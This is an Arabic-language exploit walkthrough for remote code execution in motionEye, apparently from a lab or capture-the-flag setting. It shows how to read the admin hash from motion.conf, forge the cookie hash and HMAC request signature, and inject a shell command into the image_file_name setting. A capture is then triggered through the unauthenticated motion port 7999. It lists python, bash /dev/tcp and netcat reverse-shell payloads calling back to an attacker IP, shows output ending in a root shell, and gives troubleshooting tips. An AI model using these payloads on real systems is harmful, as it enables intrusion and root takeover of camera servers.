1. قراءة تجزئة admin_password من /etc/motioneye/motion.conf
         ↓
2. اشتقاق تجزئة cookie = SHA1(admin_password_hash)
         ↓
3. حساب توقيع HMAC باستخدام خوارزمية motionEye الدقيقة:
   SHA1("METHOD:path:body:key")
         ↓
4. إرسال طلب POST لتكوين خبيث إلى /config/{cam}/set/ مع:
   image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
         ↓
5. تشغيل الالتقاط عبر منفذ التحكم غير المصادق عليه motion 7999
         ↓
6. تقوم motion بتقييم اسم الملف → يتم تنفيذ الأمر كجذر
         ↓
7. تتصل الصدفة العكسية مرة أخرى بجهاز المهاجم

cat /etc/motioneye/motion.conf

# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0

webcontrol_port 7999
webcontrol_localhost on

user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 


setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf
camera camera-2.conf

plaintext_password
       │
       ▼  SHA1
admin_password  ←── مخزنة في motion.conf كـ @admin_password
       │
       ▼  SHA1
cookie_hash     ←── مرسلة في ملف تعريف الارتباط للمتصفح كـ meye_password_hash
       │
       ▼  مستخدمة كمفتاح HMAC
request_signature ←── معامل _signature= في كل طلب API

cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()

echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052

SHA1("METHOD:path:body:key")

MOTIONEYE_URL = "http://127.0.0.1:8765"   # رابط واجهة motionEye
MOTION_URL    = "http://127.0.0.1:7999"   # منفذ التحكم في motion (بدون مصادقة)
USERNAME      = "admin"                    # اسم مستخدم المسؤول (الافتراضي: admin)
ADMIN_HASH    = "989c5a8ee87a0e9521ec81a79187d162109282f0"  # من motion.conf

LHOST = "10.10.16.153"   # IP المستمع الخاص بك — يجب أن يتمكن الهدف من الوصول إليه
LPORT = "4444"           # منفذ المستمع الخاص بك

COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"

# Bash TCP (بسيط، قد يتم تصفيته)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"

# Netcat مع العلم -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"

# Netcat بدون -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"

nc -lvnp 4444

python3 exploit.py

============================================================
  motionEye RCE — الصدفة العكسية
============================================================

[*] LHOST      : 10.10.16.153
[*] LPORT      : 4444
[*] الأمر    : python3 -c '...'

[!] ابدأ المستمع الخاص بك الآن:
    nc -lvnp 4444

[*] إرسال الحمولة خلال 5 ثوانٍ...

[*] cam=2 key=admin_password ts=1773484327292
    sig=abc123...
    status=200 resp={}

[+] تم حفظ التكوين! cam=2 key=admin_password

[*] تشغيل الالتقاط عبر المنفذ 7999 (بدون مصادقة)...
[+] cam 0 → 200 تم التقاط الكاميرا 0
[+] cam 1 → 200 تم التقاط الكاميرا 1
[+] cam 2 → 200 تم التقاط الكاميرا 2

[+] تم تشغيل الالتقاط — تحقق من المستمع على 10.10.16.153:4444

listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#

cat /etc/motioneye/motion.conf | grep admin_password

# على الهدف
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
**

**المنفذ 7999 يرفض الاتصال**

الإعداد `webcontrol_localhost on` يقيد المنفذ 7999 على localhost فقط. يجب تشغيل الاستغلال من جهاز الهدف أو عبر نفق. تأكد باستخدام:

```bash
ss -tlnp | grep 7999

sudo cat /etc/motioneye/motion.conf
**

**لم يتم العثور على تكوين كاميرا**

تحقق من ملفات تكوين الكاميرا الموجودة وقم بتحديث قائمة `cam` في الاستغلال إذا لزم الأمر:

```bash
ls /etc/motioneye/camera-*.conf